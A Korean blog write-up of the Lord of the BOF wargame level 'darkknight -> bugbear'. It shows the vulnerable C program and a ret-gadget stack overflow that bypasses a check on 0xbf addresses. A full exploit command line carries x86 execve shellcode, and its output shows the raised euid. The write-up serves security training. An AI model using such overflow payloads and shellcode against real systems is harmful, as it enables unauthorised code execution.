[lob] darkknight -> bugbear

2022. 9. 15. 13:06·Wargame/Hackerchool
728x90
반응형

1. intro

 

2. code 및 분석

2.1  C code

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack betrayed you!!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

2.3. 분석

2.3.1. assembler code (중요 부분)

지금까지는 return address의 시작 값으로 0xbf를 사용해야했지만, 이제 사용이 불가능하다.

0x804845e <main+46>:    cmpb   $0xbf,(%edx)
0x8048461 <main+49>:    jne    0x8048480 <main+80>

 

3. 취약점 확인 및 공격 준비

3.1 취약점

stack 영역 이외의 주소를 사용해서 공격해야하는데, 이때 사용할 수 있는 것이 return to library 이다.

최근에는 ASLR이나 PIE로 인해 주소가 랜덤화되기에 memory leak이 필수적이나, lob 환경에서는 불필요하다.

 

3.2 공격 준비

어찌됐던 main의 ret에만 \xbf가 안들어가면 된다.

그러므로 ret gadget을 사용하면 될 것 같다.

대충 문제 파일에서 ret gadget을 찾아보면 아래와 같다.

[darkknight@localhost darkknight]$ objdump -d bugbear

bugbear:     file format elf32-i386

Disassembly of section .init:

080482e0 <_init>:
 80482e0:       55                      push   %ebp
 80482e1:       89 e5                   mov    %esp,%ebp
 80482e3:       53                      push   %ebx
 80482e4:       e8 00 00 00 00          call   80482e9 <_init+0x9>
 80482e9:       5b                      pop    %ebx
 80482ea:       81 c3 5f 12 00 00       add    $0x125f,%ebx
 80482f0:       83 bb 24 00 00 00 00    cmpl   $0x0,0x24(%ebx)
 80482f7:       74 05                   je     80482fe <_init+0x1e>
 80482f9:       e8 02 7d fb f7          call   0 <_init-0x80482e0>
 80482fe:       89 f6                   mov    %esi,%esi
 8048300:       e8 fb 00 00 00          call   8048400 <frame_dummy>
 8048305:       e8 a6 01 00 00          call   80484b0 <__do_global_ctors_aux>
 804830a:       8b 5d fc                mov    0xfffffffc(%ebp),%ebx
 804830d:       c9                      leave
 804830e:       c3                      ret
Disassembly of section .plt:
...

첫번째로 나온 _init 함수의 ret을 쓰자.

ret은 pop eip, jmp eip의 역할을 하므로 공격 구조는 아래와 같다.

dummy 0x40 + sfp 0x4 + gadget + actual ret address + shellcode

대략 구성해서 actual ret address를 보면 아래와 같다.

(gdb) r `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/darkknight/bugbeaa `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash2: /home/skeleton/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
                                         ̀

Breakpoint 1, 0x80484a6 in main ()
(gdb) x/x $ebp
0xbffffa78:     0x41414141
(gdb)
0xbffffa7c:     0x0804830e
(gdb)
0xbffffa80:     0x41414141
(gdb)
0xbffffa84:     0x90909090

 

4. exploit

위를 토대로 공격해보면 아래와 같다.

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*0x2c + "\x0e\x83\x04\x08" + "\x84\xfa\xff\xbf" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
                                         ̀
euid = 513
new divide

 

문제의 힌트로는 RTL이라 적혀있는데, ROP으로 풀었다;

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Hackerchool' 카테고리의 다른 글

[lob] giant -> assassin  (0) 2022.09.16
[lob] bugbear -> giant  (0) 2022.09.15
[lob] golem -> darkknight  (0) 2022.09.15
[lob] skeleton -> golem  (0) 2022.09.14
[lob] vampire -> skeleton  (0) 2022.09.13
'Wargame/Hackerchool' 카테고리의 다른 글
  • [lob] giant -> assassin
  • [lob] bugbear -> giant
  • [lob] golem -> darkknight
  • [lob] skeleton -> golem
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502) N
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (79) N
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwntools
    exploit education
    rop
    CANARY
    _IO_FILE
    RTL
    docker
    lob
    FSB
    Buffer Overflow
    hackerschool
    Format String Bug
    64bit
    tcache
    root-me
    BOF
    x64
    dreamhack
    la ctf
    Me
    x86
    libc
    heap
    pwnable.kr
    32bit
    root
    cryptohack
    vtable
    phoenix
    ROOT ME
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[lob] darkknight -> bugbear
상단으로

티스토리툴바